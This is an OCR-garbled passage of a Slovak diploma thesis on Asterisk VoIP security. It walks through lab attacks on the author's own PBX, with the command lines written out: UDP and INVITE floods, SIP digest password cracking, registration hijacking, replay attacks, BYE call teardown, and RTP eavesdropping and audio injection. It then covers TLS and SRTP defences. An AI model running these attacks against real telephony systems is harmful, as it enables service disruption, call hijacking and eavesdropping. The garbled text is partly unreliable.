Parametrom -T Specifikujeme, Ze ide o textovy wysiiktorom existuje interaktivha pomoc, po
stateni klavesyh. Samotny utok MIiTM je definovany parametroaM arp. Experimentalne
odchyteny prenos pomocou Utoku je priloZzeny akioipai A.1.

7.3 Utoky zalozené na zahlteni sluzby

7.3.1 Experiment metody zaplavou UDP paketmi

Ako prvy si opiSeme utok zahltenia portu UDP pak@tidP flood. V pripade pouZzitia so
sluzbou VolIP sa sustredime na port 5060 na Astesgsiri. Na tomto porte komunikuje server
s klientmi pomocou SIP protokolu. V pripade Uspésnéahltenia portu, by server nemaltby
schopny obsluhovapoZiadavky klienta, popripade sa niektoré poZikyastratia alebo obsluha
zariadeni bude ziae spomalena Ykym vyraZzenim servra. Princip si ukdZzeme na konfiguracii,
kde sa napréerviworm) cez otvoreny port dostane na klientske&ifade a zéasu nacas spusti
zaplavu UDP paketov na podnikovu pokova Ustredu. Ta nie je schopna obsluhdvastatné

hovory popripade poskytuje preruSované sluzby.
EQ
B8 sIp

UDP pakety yyyg ] S|P
[ o s RN > | ceaa SW |
amn—— port w ] %
PC nainfikovany = HEH SIP
DoS aplikaciol SP
SIP PBX —\

Obr.7.3:  Priklad pouZzitia zaplavovych mechanizmawyradenie sluzby

Ako aplikaciu na generovanie UDP paketov som popidgram UDPflood ktory bezi pod
Linuxom. Web [20] sluzil ako zdroj ¥&8iny testovanych utmych programov, ale aj ako inSpiracia
na mnohé napady a myslienky. Ide o modifikovantikapiu UDPflood zo zdroja [35], ktora
generuje pakety o Vkosti 1400 bytov. Pod opefiaym systémom Windows XP je k dispozicii
prefadna aplikdciaPacket Builder od spol@nosti Colasoft. VSetky pouZzité programy sa
nachadzaju na priloZzenom médiu a webové odkazggariadané v prilohe C.
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ProgramUDPflood sa po skompilovani sp8 nasledujicim jednoduchym prikazom. VSetkgti
prikazu su povinné parametre a konkretizuju presiejovy a ci€ovy soket. Pre moju konkrétnu
konfiguraciu som pouzil prikaz:

Judpflood zdrojlP ciellP zdrojPort cielPort pocetp aketov

Judpflood 192.168.1.37 192.168.1.36 51000 5060 500 000

Patas testu aj paiom dokazal Asterisk bezproblémov obstuhiové hovory. Z uvedeného
vyplyva, Ze samotné zahltenie UDP portu, aj v gigpouzivaného portu 5060 protokolom SIP sa
neznizi kvalita poskytovanej sluzby a ani nijakom@edzi SIP INVITE sprave dosiahh@sterisk
a vytvori’ nové spojenie. Tento fakt je celkovo zaujimavyzakerieme do Uvahy zahlteny datovy
tok UDP paketmi 2JDPflood aplikacie, ktory umakuje priemerne vystaaZz okolo 7000-8000
paketov za sekundu.

Z predchadzajuceho moézme usiidte UDP pakety nemaju prifley dopad na samotnu
prevadzku Asterisku. NavySe sa dajul'me jednoducho lokalizowa v sieti, pretoZze dnes
ktorykol'vek sig’ovy analyzator umaiije odchyt’ akiukdvek IP adresu posielajucu tak g
objem dat. Nasledne by administrator jednoduchcerihpristup daného hosta k sieti.

7.3.2 Experiment metody zaplavou INVITE paketmi

Tento Utok by mal v porovnani s predoslim experimenposolti ove’a (tinnejSie. Dévodom su
pakety INVITE, ktoré signalizacia SIP pouziva n&uis¢nenie volania €astnika. Asterisk server
si po prijati INVITE paketu v§leni isté pami&ové zdroje a v pripade vypnutej autorizacie hodhne
preposle volanémucastnikovi, ak sa volanéislo nachadza v zozname registrovany&astnikov.
Samozrejme mézeme do paketu uviegexistujuceho klienta, gom nam server vrati error
a nepokusi sa vytat' volaného klienta a celkovy dopad utoku by tym padoebol napadny,
pritom ale stale z@zime server vygoom digestu pre autorizal poziadavku. Vyhodou INVITE
atokov je fakt, Ze Viky pcocet Ustredni stale pouziva UDP port. Existuje apaligacia cez TCP
spojenie, tu ale samozrejme musi podpotoaio klient tak aj server. V tomto pripade by Gtok
musel prebiehtacez vopred zinicializované TCP spojenie aZ potomosielaju data.

Ako v predchadzajucom atoku tak aj v tomto pripadestuje mnozstvo testovacich aplikacii.
Pouzil som podobnu linuxovu aplikiciu ako v predizagicom teste s ndzvolNVITEflood Po
doinstalovani potrebnych linuxovych kniznic, kormoptéci suboiMakefile vyZzaduje aj pripojenie
takzv.hack_library kniznice, opé dostupné z [20]. Nasledujucim prikazom gjaiSe zahlcovanie
danej domény a IP adresy. Tento prikaz ma isténpévyparametre pre spustenie:

Jinviteflood rozhranie volanyuzivatel cielDomena c iellP pocetpaketov
Jinviteflood eth1 100 192.168.1.15 192.168.1.15 50 0000

Parametre su obdobné k predchadzajucemu progtabRflood Prikaz obsahuje aj voliteé
parametre, spomeniem len ni€ko s délezitym vyznamom pri vykonavani prikazu:

i - IP adresa zdroja, ktorou nemusit' f? adresa nasho rozhrania, t4 sa vlozi do kazdého
vyslaného paketu.

S -Zdrojovy port, podobne ako IP adresa ani port néioysz nasho rozhrania.
D - Podobne ci@®vy port.

Tieto informéacie sa vloZia do paketu atym utg@ utajenie povodnej zdrojovej IP adresy.
Jednotlivé moZnosti utokov IBIVITEflood aplikaciou mdéZzme r6zne kombinayanapr. zmenou
v cielovych doménach a neexistujucich klientoch. Pretoedsa, ktord& ma povolené len hovory
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z registrovaného zdroja méze prijitre takto vyslané pakety. Ide konkrétne o pripdtezp€enia
proti volaniu z neregistrovanych telefonov opisoyvarkapitole 5.1. Ma to na svedomi parameter
allowguestdefaultne nastaveny ne9 v konfigur&nom suboresip.confAsterisku. Pri kombinacii

s parametromat=yes Asterisk akceptuje INVITE pakety od neregistroveimyklientov. Pouzita
konfiguracia je v prilohe A.2. Preto je dolezité konfiguracii zvazt rézne moznosti a spdsoby
volania. Samozrejme v pripade zabe&spej konfiguracii, proxy server odmieta spojenie
s odpovdou ,407 Proxy authentication required”.

A teraz k samotnému testovaniu. Asterisk servaiapaexperimentalneho Gtoku neobsluhoval
nové hovory, pretoze jeho port 5060 bol zahltenYINE paketmi z Gténeho stroja. AvSak ihde
po ukorteni posielania paketov, nasledne inicializovanyadno&sterisk v poriadku obsluzil. Na
Gstredni sa neprejavili Zziadne vyrazné zmeny akySethlcovacie INVITE pakety odoslal na
prislusna IP adresu volaného uZivateSamozrejme klient, ktory bol alme zaplavy INVITE
paketov preposlanych Asteriskom bol nedostupny.i@d0 klienta zavisela na jeho samotnom
maximalnom poéte podporovanych spojeni, v pripade kliemhonerLite iSlo 0 8 subeznych
spojeni. Pri tomto type Utoku sa poskytuje moEnossielania INVITE paketov aj na samotnych
klientov a tym otestovaich odolnog voci zahlcovacim utokom. To ale nebola uloha diplonjove
prace a preto sa budemediagej venovd len atokom na samotny Asterisk. ProgridVITEflood
dokaze vysielapriblizne 5000 paketov za sekundu, zavisi to égktid Sirky poskytnutého pasma.
V pripade vysielania 500 000 paketov ide o relative’keé zaaZenie siete, jednoducho odhdlité
sietovymi analyzatormi podobne ako zahltenie UDP pake®reto som sa pokusil jeho vysielanie
casovo rozdefi na niekdko kratkych casovych davok. V aplikacii existuje moztiodefinova’
casovy rozdiel medzi jednotlivymi odoslanymi paketntd vSak ale neuménje moZnos
davkoveého posielania.

s— udavatas medzi INVITE spravami.

Pomocou malého skriptu som sa pokusil zefekfividk, ktorého Ulohou bolo posielanie INVITE
paketov v davkach takzburstoch Tym sa znizi z&z na si€, pri neustalom ataZzovani Ustredne

INVITE paketmi napr. kazdych 5 sekund. Pomocoubatti sequréime kd’kokrat chceme utok

opakova.

foriin 'seq 110;

do
Jinviteflood eth0 200 192.168.1.36 192.168.1.36 50 00 -a flooder -S 23000
-1192.168.1.65
sleep 5

done

10000

[y
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Obr.7.4:  Davkovy utok zahltenim INVITE paketmi
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Vysledkom je nepravidelné obslUzenie prichddzajuclovorov 0. Osa X predstavujeas
odchytavania paketov, osa Y mnozstvo vyslanych tpak&ierna farba predstavuje zahlcujlce
pakety odoslané itaikom acervené impulzy predstavuju pokusy o vytvorenie spig. Asterisk
vo v&Sine pripadov zinicializoval hovor eSte pred samwtnitokom alebo hnf po nom.

V nieka’kych pripadoch (10s a 53s) sa vSak hovor nepodaiicializova’ ako je mozne vidig

z grafu.

7.4 Zmena signalizacie a dat

7.4.1 Utoky typu ,Call Hijacking"

Tento typ Gtoku spfiva v odchyteni citlivych dat aich naslednom ziuZ naS prospech.
Prikladom moze ki odchytenie SIP INVITE alebo REGISTER spravy, ktot#sahuju citlive
Udaje v podobe prihlasovacieho mena resp. voladisten a v pripade nehaSovanej spravy aj hesla.
pripade su citlivé informécie lepSie chranem@zko IUstiténé.

Pri dalSom experimente som pouzil nasledujucenigoaplikacie zo zdroja [20]. Su nirauthtool
areghijacker tool.Prvy z nich umoiuje z odchytenych paketov(INVITE, REGISTER, OPTIONS)
dopciitat pouzité heslo. Pouziva k tomu slovnikovy utok. ripade ze uzivalenepouziva
akokd'vek sofistikované heslo, pomocou dobrého slovnigkade program rozlusgtiv realnom
case. Tak ako v pripade naSej konfiguracii, pouzégloasdf nepredstavovalo ziaden problém pre
program s pouZzitym slovnikom s 850 000 slovawuthtool dokazal v pouZitom virtudlnom
Debiane overiv priemere 100 000 hesiel za sekundu.

MenSi problém bol so suborom obsahujucim odchysgrévysip.cap Nedaju sa pougipriamo
odchytené pakety, pretoZze algoritmukadé hodnotu parametmnethodresp. dosadeny string
autoriz&nej poziadavky ,REGISTER" , ,INVITE" alebo ,OPTIONS'Preto sa musi odchyteny
binarny subor trochu pooprdyia to len v oddelenildaného stringu od zvySku spravy.

Authtool preskima vSetky polozky paketov av pripade nageautorizénych riadkov ako
Authorization: testuje pomocou parametrov opisanych v kapitolel3vSetky hesla zo slovnika
pomocoumessage-digesiashu Vysledok aplikacie vyzera nasledujuco:

Jauthtool sip.cap -d dic-0294.txt

Authentication Tool - Version 1.0
09/20/2004

Captured SIP Messages File: sip.cap
Password Dictionary File: dic-0294.txt

User: 100 Password: asdf From: <sip:100@192.168.1 .36>
1 user/password solutions found

Pouziva pritom funkciurequest-digestz RFC-2617 [24]. Po zjednoteni prislusnych metdd
dostaneme nasledujuce funkcie na wgio hodnoty MD5 response Parameterdigest-uri
predstavuje URI v mojom pripade ,sip:192.168.1.3@&thod parameter je typ SIP spravy napr.
REGISTER, INVITE.

Authorization:Digest,username="100",realm="asterisk " nonce="0f701c9c",uri="sip:1
92.168.1.36",response="815e520045h26ed1599d07ee2e50 420f"algorithm=md5
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Dalsim z poZzadovanych parametrovgalmv pripade Asterisku je to ,asterisk* a hodnotmceje
pre kazdu poZiadavku ina. VSetky spominané hodméfgeme v autorizmej poziadavke od
servra, napr. Obr.3.2 v kapitole 3.1.1.

requestdigst= (H (Al : ung(noncg : H(A2)) (6.1)
Al =ung(usernamég: ung(realm) : passwd (6.2)
A2 = Method: (digest—uri) (6.3)

S pomocou odchytenych informacii resp. loginu dehesm néasledne pomocaaghijacker tool
dokazal odhlasi zvoleného uzZivata a zaregistrowva nového, faloSného uzivdite na
odregistrované VMmécislo. Pouzitie aplikicie je nasledujuce:

Jreghijacker rozhranie cielDomena ciellP contact v ystupnySubor login heslo
Jreghijacker eth0 192.168.1.36 192.168.1.36 attack @192.168.1.65 output.log —
u 100 —p asdf

Vyslané a prijaté pakety pas Gtoku su v prilohe A.3. V odchytenych paketectiglite’né prvotné
odhlasenie a nasledna registracia faloSného utazate

Na platformu Windows od spalnosti Microsoft existuje spominany vyborny hackovaci a
desifrovaci progranCain&Abel od Massimiliana Montora, blizSie v kapitole 6.3plkacia sa
velmi jednoducho a po kratkom oboznameni djmiepohodine ovlada. Po prevedeni ARRP
Poison Routingutoku si odchytené udaje resp. hesla prevedientatiej zalozky takzvCracker.
Ten poskytuje desiatky deSifrovacich Utokov na eddruhy hashovacich mechanizmov. Umgé
ako slovnikovy tak dprute-forceutok, sp@ivajuaci v definovani konkrétnych znakov,de znakov
v hesle a inych a nasledného testu vSetkych dogthprariacii z poskytnutych znakov.
Pri odchyteni registracie a naslednom deSifrovashb ako v predchadzajucom pripadeithtool
sa nase heslo podarilo deSifroua& defaultnym slovnikom s obsahom asi 3240000, #tory sa
nachadza v adresarCain&Abel/Wordlists hnel’ po inStalacii. Obrazok s vysledkom tohto
deSifrovania je priloZzeny ako priloha B.1.

Aby bola autorizacia s algoritmom MD5 uiita je zakladom silné heslo. Ak su hesla slabé
napriklad nds pripadsdf alebo jednoduchym sp6sobom mechanicky generovaEnik ich
jednoducho odhali a prelomi autentizaciu.

7.4.2 Opakovaci utok (Replay attack)

Tento utok spéiva v rychlom odoslani prave odchyteného a jemremgmeného paketu. V tomto
pripade nemusime pozhani zloZito pg@itat’ resp. deSifrovaautoriz&ny hash. Cely utok spiva
v znovu odoslani rovnakych autorirggch Udajov do istéhatasového intervalu. V pripade
testovacieho Asterisku je to cca 30 sekund, kde sthepny pozmetiiStruktiru paketu a pritom
pouzt’ predchadzajucu MD5 autentizaciu. Asterisk sa tysmazi liaheit’ vypaitovd nar@énog’ na
systém Ustredne, zaraveym ale vytvara relativne jednoducho zneudritebezpénostnu slabinu.

Konkrétne umoiuje napr. odregistrovanie uspesne registrovanélmrizovaného uzivafa. To
ma za nasledok jeho neschophgsijima’ akékdvek hovory. V@Sina klientov ma mozndssi
nastawi dobu opatovného vyslania regismaho paketu, Standardne 3600 sekund. To predstavuje
teoreticky 1 hodinu bez prijimania hovorov, goin samotné odregistrovanie uZitaemoze
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prebieh@ nekonéne ve'a krat. Pri uskutineniReplay attaclsa musi inkrementovdodnota CSeq
o jedna.

7.4.3 Utoky zhadzovania komunikéacie Session Teardown attacks)

V pripade Asterisku mdzu tieto Utoky predstawovweel’ki bezpénostnu slabinu. Hlavnym
dévodom su neautorizované BYE pakety, ktorymi sentilif@ nadviazanie spojenie.

Na predvedenie experimentu zruSenia spojenia souotilpaplikaciu teardown zdroj web
Hacking ExposedFaloSne vytvorené BYE pakety musia obsaliaviektoré povinné parametre
pomocou ktorych server rozpozna o ktoré spojeree(@hlliD, FromTaga ToTag, a tym ukogi
prislusny hovor, v ogamom pripade dostaneme odpdvi@81 Call leg/transaction does not exist".
Povinné parametre ziskame z odchytenych paketowIJR“ a,200 OK*. Prakticky je ale
dolezity len paramete€alllD, ktory musi by jedingny pre kazdy novovytvoreny hovor. Utok
prebehol bez problémov a prejavil sa ako'mie U¢inny. Celkovy proces by sa dal eSte
zautomatizové vhodnym skriptom, ktory by umaéval preffadne ukotova’ vybrané hovory.
Pouzitieteardownaplikacie:

teardown rozhranie uzivatel domena ciellP CalllD fromTag toTag

Jteardown eth0 300 192.168.1.36 192.168.1.35
5bf741532a217f187654f1de5ec5¢c751@192.168.1.36 as7d5 270a2 900d1064

teardown - Version 1.0
Feb. 17, 2006

source IPv4 addr:port =192.168.1.40:9
dest IPv4 addr:port = 192.168.1.35:5060

targeted UA = 300@192.168.1.36

From Tag = as7d5270a2

To Tag =900d1064

Call ID = 5bf741532a217f187654f1de5 ec5c751@192.168.1.36

Ukoncovaci paket BYE mdZme poslaa Asterisk ale aj priamo koncovému klientovi,rigtakonti
spojenie, miesto domény sa pouzije IP adresa k@tmoklienta. Pre tento pripad je dblezité posla
paket na spravny port, na ktorom klientpea.
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Tab.7.1. Prefad uskuténenych experimentalnych utokov s vysledkami

pﬂﬁ’,ﬂ;‘:ﬁa Ciel itoku Vysledok dtoku
Zahltenie l!DP jednoducha DoS dstredne Asterisk utok neov;v)lyvnlllfunkleu Ustredne
paketmi pocas ani po utoku
Utok Ciastocne ovplyvnil funkciu
Zahltenie IN.V ITE jednoducha DoS ustredne Asterisk ustvred’ne’ pocas ut?ku, po
paketmi skon€eni navrat do pévodneho
stavu
komplikovana o . . v pripade jednoduchého hesla, je
Call Hijacking (poCitanie hash pw:;:;g?f r Ir?: :;zlg.‘?: iyml odhaleny uzivatel pod naSou
hodnoty) y J kontrolou
zmena uzivatelskych poZiadaviek smena kasdei posiadavk
Replay attack stredna zopakovanim poslednej . ) pozia ’y
ooziadavky odoslanej platnym uzivatefom
Teardown attack jednoducha ukoncenie odchyteného hovoru pri pouziti spravneho CalliD je

hovor ukonceny

7.5 Odposluch RTP prenosu

Ako si na tomto experimente ukaZzeme prenos protoRdRTP nie je vbbec zabezpeay a jeho
UDP stream je Mami jednoduché odchytia odp@ava’, pripadne vkladanové hlasové pakety.
Pritom si vystédime s niektorym zJme dostupnych programov na odchytavanie
paketoviVireshark, TCPdump

PresnejSi popis technoldogie RTP n4jdeme v kapitble Pomocou dobre znamej aplikacie
WiresharkmdZeme hlasovy stream odchiyai uloZi’ si napriklad v ,.au” formate (prehratelny napr.
vo Windows Media Player). Postupuje sa nasledndligouti na zaloZzkurelephonya RTP/Show
All streamsyyberieme zvoleny stream a s pomocou moZasdlyzesi konkrétny zvukovy stream
uloZzime. Z dévodu v&ej ponuky moznosti som sa rozhodol priBliRITP odposluch s vyuzitim
spominaného hackovacieho progra@ain&Abel Ako prvy sa spusti APR (tok a odchytia sa
prendSané pakety. AkyReek odchyteny hovor sa ulozi priamo do zaloZyiffer / VolP ako
wav"“ subor, ktory umoi#tuje nasledne jednoduchl pracu so suborom. Oknochs/tahymi
hovormi Specifikuje pouzity kodekas a vékos’ suborov, Wi’ priloha B.2.

7.5.1 Mixovanie a vkladanie RTP paketov

Tento Utok mdéze kyvelmi neprijemnym pri vkladani réznych urazlivych, gaéine nepresnych
a zavadzajucich slov. V pripade mixovania Sumu d® Riienosu si uzivatelia predstavuju, Ze ide o
stratu kvality alebo funkcie sluzby, popripade cdfé@ dbéveru u poskytovdi@ sluzieb. Pod
moznosti Utoku patria aj proprietarne protokoly atapr. SCCRgkinny Call Control Protokdl
patriaci pod CISCO, pretoZe ovphye RTP pakety nad UDP vrstvou. Vybornymi aplikadizsua
experimentovanie vkladania ddpjucich zvukovych zloziek do prebiehajuceho hovasu
rtpinsertsoundartpmixsound [25].Druh& verzia programu v.2 je oproti v.1 vylepSen@aoznos
pouzitia ,wav" suboru ako zvukovej vzorky, predtypol pouzitény iba ,pcap” subor so zvukovou
stopou, ktory by sa vlozil do prave prebiehajucibaoru. Obidve aplikacie su k dispozicii aj vo
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verzii 3. Vyhodou poslednej verzie je samostatr#poananie RTP streamu na linke pomocou
kniznicelibfindrtp a tym vynechanie povinnych parametrov hovoru puisseni aplikacie.

V mojom experimente som pouzil stdvajucu konfigirda Utok prebehol po z inicializovani
hovoru medzi dastnikmisipuser_200asipuser_300Pomocou APR som odchytil prebiehajlce
RTP pakety a na z4klade pouZzitia novo vytvorenyctioposom zautél pomocou druhej verzie
programurtpinsertsoundnasledujucim prikazom:

Jrtpinsertsound rozhranie zdrojlP zdrojPort ciellP sielPort zvukSubor

Jrtpinsertsound eth0 192.168.1.35 29294 192.168.1. 39 42038 helzart.wav

Vysledkom bolo naozaj vioZenie zvukovej vzorky letavav do prebiehajuceho RTP streamu.
Tento hovor je priloZzeny na DVD n@si odchyteny Wiresharkom akasertsound_call.auverim

Ze dany hovor by nechcel z&Ziaden zakaznik po dovolani sa napr. na infolirdaukovy subor
vkladany do RTP streamu musithyvav* subor zakddovany PCM a vzorkovacou frekvencs
kHz alebo ako som uZz spominal subor vo formtijedump s obsahom RTP/UDP streamu
s kodekom G.711 u-law.

Cell situaciu som pomocou grafu zobrazil naC@erna farba predstavuje prebiehajici hovor,
gervena vlozeny 13 sekundovy ,wav* stbor. Osa X gi@eije d¢ku hovoru aosa Y pet

vyslanych paketov.
—200

IIIII|IIII|IIII|IIII|IIII|IIIIIIIII|IIII|IIII|IIII|IIII|IIII|IIII|II 0

Os 10s 20s 30s 40s 50s 60s

Obr.7.5:  VloZenie zvukovej zloZku do prebiehajlmdlovoru.

V pripade druhej aplikacigpmixsoundsa vysledny efekt trochu liSi. Do prebiehajucebednu sa
zvukovy subor v mixuje takym spésobom, Z&(p@juca strana prijima prilozeny zvuk na pozadi
samotného hovoru tzn. komunikacia stale pokje Vysledok druhého programu je I'va
podobny s predchadzajldcim a preto ho nebudem élgrgzentova

8 Demonstracia variantnych opatreni vo  €i definovanym

utokom uUstred RAou Asterisk
Ako som uviedol v kapitole 5.1, Ustiga Asterisk umotuje zavedenie niekk&ych bezpénostnych
opatreni. V&Sina z nich vychadza z viacerych Specifikacii RFC podgP technoldgie. V obsahu

tejto kapitoly sa budem venavanoznostiam zabezpenia hovorov, ich vzajomnym porovnanim
a experimentalnym predvedeniam.
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8.1 Efektivne zabezpe &enie signalizacie metddou SIPS

V teoretickej ¢ati diplomovej prace v kapitole 3.1.3, som podrobogisal vymenu kicov

a nasledne zaSifrovanie prenaSanych sigriaigeh sprav pomocou protokolu TLS. Ako variantné
opatrenie v6i Utokom na signalizamé pakety sa na ustredni Asterisk pokusim nakordigaf
podporu prave spominaného protokolu TLS pre sl&Buresp. SIPSSIP Securg

Prvy krok samotnej konfiguracie sfiea vo vygenerovani potrebnych certifikatov. Mamezmos’

si vlastnorgne podpisté vygenerovany certifikat alebo vygenerévdada’ a neché ju podpisa
nejakou Certifikénou Autoritou. To ale samozrejme nieje zdarma, edj poplatky za overenie
certifikatu niesu az také vysoké [27], pre na&elyipost&i viastnordne podpisany certifikat. Pre
vygenerovanie zabezgmvacich certifikatov v linuxe je potrebné thaainStalovanu knihovnu
libcrypto.so, ktord& mimo iného obsahuje apenssl aplikdciu na generovanie certifikatov.
Pouzijeme 2048 bitovylIki¢, ktory by mal byt eSte niekko rokov dostaténe bezpeny. Dosid
najvyssie faktorovo vypotany K'U¢ je 768 bitov [28].

- zaneme vygenerovanim svojhdka,

openssl genrsa -des3 -out asterisk_ser.key 2048

- dalSim prikazom si vytvorime poziadavku na podmstifikatu, pritom jediny délezity
parameter j€ommon Namdgen musi obsahovdP adresu volaného hosta, pri tomto kroku
je vyZzadovana zvlastna pozoriipg pripade zle zadanej IP adresy Asterisk odnfieteor.

openssl req -new -key asterisk_ser.key -out asteris k_ser.csr

- a hne’ si ho aj sami podpiSeme

openssl x509 -req -days 365 -in asterisk_ser.csr -s ignkey asterisk_ser.key
-out asterisk_ser.crt

- po podpise Ki¢ zbavime hesla, z dévodiah3ej obsluhy

openssl rsa —in asterisk_ser.key —out asterisk_ser. key.nopass

Takto podpisany certifikat moZzme potiA verziou Asterisk od 1.6 a vysSie, ten vSak vyiad
certifikat s priponou ,pem“ alki¢ integrovany spolu s certifikatom v jednom subaig, priloha
A.4. Verzia a konfiguracia Asterisku pouZita v eeiapitole sa odliSuje od verzie 1.4.21 pouZivanej
v kapitole ¢. 7 ,Experimentalne generovanie utokov“. Aktualnerzaiu Asterisk SVN-group-
srtp_reboot-r255206som stiahol a nainstaloval z svsubversioh serveru a pouZzil zmenenu
konfiguraciusip.confaextensions.corgod’a [23], priloha A.5.

Délezitymi parametrami je hlavne zapnutie podpobySTprotokolu a cesta k novovytvorenému
certifikatu pomocou:

tisenable=yes

tiscertfile=/etc/asterisk/asterisk_serv.pem

Pomocou klientaPhonerlite so zapnutou podporou TLS &itanym certifikdtom servra spolu

s K’acom sa klient registruje na Asterisk server. Komaoik prebieha presne gadteoretického
predpokladu z kapitoly 3.1.3. resp. po zinicialiao a dohodnuti TCP spojenia sa dohodnu a

vymenia Sifrovacie parametre a néasleduje len zag&fry prenos aplikaych dat, teda
signaliz&nych SIP paketov REGISTER a podobne Obr.7.6.
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No. - Time Source Destination Protocol Info

95 4.366127 192.168.1.41 192.168.1.43 TCP cardax > sip-tls [SYN] Seq=0 win=64240 Len=0 M55=1460

96 4.367785 192.168.1.43 192.168.1.41 TCP sip-tls > cardax [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MS5=1460

97 4.367786 192.168.1.41 192.168.1.43 TCP cardax > sip-tls [ACK] Seq=1 Ack=l Win=64240 Len=0

98 4.373027 192.168.1.41 192.168.1.43 SsL Client Hello
100 4.373030 192.168.1.43 192.168.1.41 TCP sip-tls » cardax [ACK] Seq=1l Ack=95 wWin=5840 Len=0
101 4.373031 192.168.1.43 192.168.1.41 TLSvl sServer Hello, Certificate, Server Hello Done
102 4.375038 192.168.1.41 192.168.1.43 TLsvl Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
103 4.390208 192.168.1.43 192.168.1.41 TLSvl Encrypted Handshake Message, Change Cipher Spec, Encrypted Handshake
104 4.392106 192.168.1.41 192.168.1.43 TLSvl Application Data

. . .1.43 . .1.41 Application Data, Application Data

106 4.397353 192.168.1.41 192.168.1.43 TLSvl Application Data

107 4.400079 192.168.1.43 192.168.1.41 TLSvl Application Data, Application Data

108 4.432028 192.168.1.41 192.168.1.43 TLSvl Application Data

109 4.435827 192.168.1.43 192.168.1.41 TLSvl Application Data, Application Data
110 4.435830 192.168.1.41 197.168.1.43 TI svl  Apnnlicatien Data

# Frame 105 (720 bytes on wire, 720 bytes captured)
# Ethernet II, Src: CadmusCo_c5:12:b4 (08:00:27:c5:12:b4), Dst: CadmusCo_52:b2:40 (08:00:27:52:b2:40)
= Internet Protocol, Src: 192.168.1.43 (192.168.1.43), Dst: 192.168.1.41 (192.168.1.41)
= Transmission Control Protocol, Src Port: sip-tls (5061), Dst Port: cardax (1072), seq: 1136, Ack: 970, Len: 666
= Secure Socket Layer
= TLSvl Record Layer: Application Data Protocol: sip.tcp
Content Type: Application Data (23)
Version: TLS 1.0 (0x0301)
Length: 32
Encrypted Application Data: 5ECB7B7227317AA69E1DOEO3795FAFCCDDA9065078E3D44D. . .
= TLSvl Record Layer: Application Data Protocol: sip.tcp
Content Type: Application Data (23)
Version: TLS 1.0 (0x0301)
Length: 624
Encrypted Application Data: 16939C4A3C235EC76CB80E209F77B82BDD289FB8CBH1C2ETE. . .

Obr.7.6:  Registrovanihonerlitesofphonu na Asterisk cez TLS protokol

8.2 Test bezpe €nej vymeny k 'a€a MIKEY protokolom

Problematika, ktor4 nastala s podporou metody naewy Kacov MIKEY je spomenutd uz
v kapitole 5.1, kde je v kratkosti predstaveny Aiste s podporoudalSich bezp&ostnych
modulov. Ako bolo niekikokrat diskutované vyvojarmi na webu komunity a pagy Asterisku
[21] a [23], MIKEY podpora bola pozastavenad a o@tdr z verzie trunk a poslednych
1.6.x.RC(elease candida)everzii.

Pokusil som sa experimentava poslednou verziou gvn servra. Tato verzia sa mi na niéko
novych pokusov nepodarila korektne zkompilbva nainStalovy pretoze Asterisk nedokazal
nahra modulres_mikey.soSnaha o nahranie modulu skibo vzdy nasledujucou hlaskou:

debian*CLI> module load res_mikey.so
Unable to load module res_mikey.so
Command 'module load res_mikey.so ' failed.

[Apr 28 17:27:47] WARNING[3050]: loader.c:375 load_ dynamic_module: Error
loading module 'res_mikey.so": /usr/lib/asterisk/mo dules/res_mikey.so:
undefined symbol: _ZNK7MObject16getMemObjectTypeEv

[Apr 28 17:27:47] WARNING[3050]: loader.c:666 load_ resource: Module

'res_mikey.so' could not be loaded.

Problém vychadza najma z toho ze Asterisk kod paukhiznicelibmikey dostupné z projektu
minisip softphone. Tie musia Bykorektne zkompilované a nainStalované, podobnei roys
nainStalovana aj podpoliasrtp dostupna z webu v prilohe C.

Existuje vSak aj starSia verzialeas¢ 81432 s ktorou sa mi podaril MIKEY a SRTP modahre’

a nasledne testovaMusi sa vSak dodrEgresny postup krokov ako je uvedeny v literat@2].
Ako som ale spominal tato verzia niejéwevyladena a obsahuje mnoho nedostatkov a bugev. P
testovanie som musel potizninisip softphone klient, ktory ako jediny podporuje MIKENmenu
kracov. V nastaveniach klienta je volitey vyber pouZiteho zabezfmnia a to pomocou PSK alebo
D-H. Napriek faktu, ze zabezgmnie D-H vymenou Kicov zarkuje PFCPerfect Forward
Secrecy som zvolil variantu PSK, ktora nepridava ZiadfalSiu z&az na vypoéetni vykon(ako je
to v pripade D-H) a poskytuje dostenwé zabezpgnie. Metdda D-H okrem iného vyZaduje
vymenu podpisanych certifikatov.
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Touto konfiguraciou je do SDP protokolu vnutena pmard Sifrovania RTP/SAVP a pri inicializacii
hovoru minisip vySle INVITE paket s SDP protokolom obsahujucinmapaeterkey-mgmt: mikey
Vyslany SDP vyzera nésledne:

v=0

=- 3344 3344 IN IP4 192.168.1.41
s=Minisip Session
t=00
a=key-mgmt:mikey
AQAFgAAAE2Y CAAAAAFWOAAAAAAAAAAAAAAAAAACAZAaAIWHhERAAIJWABAQEBEAIBAQMBFAQBD
gUBAAYBAACBAQYBAQkBAAOBAQsSBCgwBAAEQIkIP1/mgyj3U/w@x9msgABAMTmgjkWAHpPONK6Zsl|
d/f7AN50KC5tQo/mE5SUHIP7XQXsAPhPKF5654/mE48eqWvocOhl  YgKpHx0atMckM8Pw/F29/fnLKY
pxOZMico3bbMk9HHTUbJaKzht0ZussQhnilLfoVefhpitPMETJO0 rm1AWKQ2BmJOR8YFM/Qyt9B9sy
PkOLWXdOI+7b2bFP9gYRzXb/rn805AM9Z4InKkllygpUH/AYRpO HBFQVYARUNGIWUQ]NOWxyQfPpj
HUO9PYHNAuUdFVoOAfCuXRKgZAFQHLIMNS5Ee5Xji/12
m=audio 34768 RTP/SAVP 0 101
c=IN IP4 192.168.1.41
a=rtpmap:0 PCMU/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15

Tymto spésobom znemoznime vypb K'Gca tretej osobe na dekddovanie SRTP prenosu. V
konfigura¢inom subore Asteriskextensions.cordapneme podporu MIKEY a SRTP:

exten => XO00,1,Set(_SIPSRTP=require)
exten => _X00,n,Set(_SIPSRTP_MIKEY=enable)

Po nahrani tejto konfiguracie Asterisk dokaze gevetr INVITE paket s SDP protokolom
obsahujucim parametekey-mgmt: mikey Nanegastie aj v poslednej verzii s podporou
res_mikey.so modulu je odchadzajuce zabespeie len DH-HMAC (Ostatné niesu
implementované). Tato metdda ale nieje podporowaiikaciou minisip a preto je odmietnuta
,406 Not Acceptable®”.

Ti 192168142 192.168.1.41 c .
me 192.168.1.40 Ormmen

o

3.280 [soso}'Mq"[soso) 0 SIP/SDP/MIKEY: Request: INVITE sip:100@192.168.1.40, with session description, Mikey: Pre-shared
401 ] . ;

